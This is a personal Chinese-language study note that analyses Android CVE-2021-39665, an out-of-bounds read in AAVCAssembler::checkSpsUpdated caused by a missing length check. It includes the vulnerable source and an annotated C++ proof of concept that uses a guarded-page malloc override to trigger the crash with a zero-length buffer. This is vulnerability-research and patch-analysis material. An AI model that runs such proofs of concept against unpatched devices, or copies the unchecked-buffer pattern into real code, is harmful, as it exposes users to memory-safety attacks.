2023.09.11 补 2023.09.08 哎,8号卡在一个蓝牙cve,分析不出来就顿住了。不能这样了,以后遇到分析不出来的就先挂着吧。
CVE-2021-39665 | A-204077881 | ID | 高 | 12 |
---|
patch

分析
很明显,没有检查传入的参数buffer的长度。如果传入的buffer的长度为0,那么data[0]
那里就会发生越界读。
相邻的另一个函数checkIFrameProvided
就检查了入参buffer的长度。
void AAVCAssembler::checkSpsUpdated(const sp<ABuffer> &buffer) {
const uint8_t *data = buffer->data();
unsigned nalType = data[0] & 0x1f; // 如果buffer的长度为0,则data[0]这里会发生越界读
if (nalType == 0x7) {
int32_t width = 0, height = 0;
FindAVCDimensions(buffer, &width, &height);
if (width != mWidth || height != mHeight) {
mFirstIFrameProvided = false;
mWidth = width;
mHeight = height;
ALOGD("found a new resolution (%u x %u)", mWidth, mHeight);
}
}
}
void AAVCAssembler::checkIFrameProvided(const sp<ABuffer> &buffer) {
if (buffer->size() == 0) {
return;
}
const uint8_t *data = buffer->data();
unsigned nalType = data[0] & 0x1f;
if (nalType == 0x5) {
mLastIFrameProvidedAtMs = ALooper::GetNowUs() / 1000;
if (!mFirstIFrameProvided) {
mFirstIFrameProvided = true;
uint32_t rtpTime;
CHECK(buffer->meta()->findInt32("rtp-time", (int32_t *)&rtpTime));
ALOGD("got First I-frame to be decoded. rtpTime=%d, size=%zu", rtpTime, buffer->size());
}
}
}
诶,还发现旁边dropFramesUntilIframe
函数也有同样的问题,但可惜,最新代码里已经改了:
bool AAVCAssembler::dropFramesUntilIframe(const sp<ABuffer> &buffer) {
const uint8_t *data = buffer->data();
unsigned nalType = data[0] & 0x1f;
if (!mFirstIFrameProvided && nalType < 0x5) {
return true;
}
return false;
}
PoC
#include <dlfcn.h>
#include "../includes/common.h"
#define private public
#include <media/stagefright/rtsp/AAVCAssembler.h>
using namespace android;
bool isOverloadingEnabled = false;
bool isTestInProgress = false;
struct sigaction newAction, oldAction;
static void *(*realMalloc)(size_t) = nullptr;
// 重定义malloc函数
void *malloc(size_t size) {
// 如果realMalloc为nullptr,则通过dlsym函数获取malloc函数的地址,并赋值给realMalloc
// 也就是还是调用原来的malloc
if (!realMalloc) {
realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
if (!realMalloc) {
return nullptr;
}
}
// 如果isOverloadingEnabled为true并且申请分配的空间size为0,
// 则通过memalign函数分配内存,并使用mprotect函数将内存的访问权限设置为PROT_NONE
// PROT_NONE表示将内存区域的访问权限设置为无权限,即不能读取、写入或执行该内存区域。
if (isOverloadingEnabled && (size == 0)) {
size_t pageSize = sysconf(_SC_PAGE_SIZE); // pageSize = 4k?
void *ptr = memalign(pageSize, pageSize); // 分配一个4k大小的内存块(对齐4k)
mprotect(ptr, pageSize, PROT_NONE); // 将通过memalign函数分配的内存区域的访问权限设置为无权限,以保护该内存区域不被访问或修改。
return ptr;
}
// 最后返回realMalloc(size)
return realMalloc(size);
}
void sigsegv_handler(int signum, siginfo_t *info, void *context) {
// 如果isTestInProgress为true并且info->si_signo等于 SIGSEGV,
// 则调用oldAction.sa_sigaction函数,并返回。否则,调用_exit(EXIT_FAILURE)。
if (isTestInProgress && info->si_signo == SIGSEGV) {
(*oldAction.sa_sigaction)(signum, info, context);
return;
}
_exit(EXIT_FAILURE);
}
int main() {
// 清空newAction.sa_mask
sigemptyset(&newAction.sa_mask);
newAction.sa_flags = SA_SIGINFO;
newAction.sa_sigaction = sigsegv_handler;
// 注册SIGSEGV信号的处理函数为 sigsegv_handler
// 并将旧的信号处理函数保存在oldAction中
sigaction(SIGSEGV, &newAction, &oldAction);
sp<ABuffer> buffer(new ABuffer(16));
FAIL_CHECK(buffer != nullptr);
sp<AMessage> meta = buffer->meta();
FAIL_CHECK(meta != nullptr);
uint32_t rtpTime = 16;
meta->setInt32("rtp-time", rtpTime);
AAVCAssembler *assembler = new AAVCAssembler(meta);
FAIL_CHECK(assembler != nullptr);
isOverloadingEnabled = true; // 设置这个变量之后,下面申请size为0的堆块时,就会分配一页大小的空间,但是是不可访问的
sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
isOverloadingEnabled = false;
isTestInProgress = true; // 设置isTestInProgress为false,那么当访问不可访问的地址时,发生SIGSEGV,进而进入sigsegv_handler函数里的if条件,然后?
assembler->checkSpsUpdated(zeroSizedBuffer);
isTestInProgress = false;
return EXIT_SUCCESS;
}
后面再补上触发效果吧。